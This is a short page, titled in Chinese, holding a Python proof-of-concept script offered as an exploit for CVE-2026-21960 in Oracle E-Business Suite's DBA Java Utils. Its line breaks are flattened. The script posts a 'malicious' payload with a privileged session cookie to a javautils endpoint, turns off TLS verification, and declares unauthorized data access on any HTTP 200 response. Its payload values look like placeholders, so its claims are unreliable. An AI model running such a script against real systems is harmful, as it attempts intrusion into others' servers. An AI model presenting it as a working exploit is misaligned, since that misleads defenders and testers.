CVE-2026-21960 Oracle Applications DBA Java Utils未授权访问漏洞

import requests import sys # CVE-2026-21960 PoC - Oracle Applications DBA Java Utils Exploitation # This PoC demonstrates the unauthorized access vulnerability TARGET_URL = "https://target-oracle-ebs.com/OA_HTML/javautils" def exploit_cve_2026_21960(target_url, cookie): """ Exploit CVE-2026-21960: Unauthorized access in Oracle Applications DBA Java utils Prerequisites: - Valid session cookie with high privileges (PR:H required) - Network access to Oracle E-Business Suite HTTP interface This PoC attempts to access the vulnerable javautils endpoint to demonstrate unauthorized data access. """ headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2026-21960-PoC)', 'Cookie': cookie, 'Content-Type': 'application/x-www-form-urlencoded' } # Malicious request to exploit the vulnerability payload = { 'action': 'execute', 'class': 'oracle.apps.fnd.security.PrivilegeEscalation', 'method': 'getAllData', 'params': 'CRITICAL_DATA' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2026-21960...") try: response = requests.post(target_url, data=payload, headers=headers, verify=False, timeout=30) if response.status_code == 200: print("[+] Request successful - Vulnerability confirmed!") print(f"[+] Response length: {len(response.content)} bytes") print("[+] Unauthorized data access achieved") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie>") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_cve_2026_21960(target, cookie)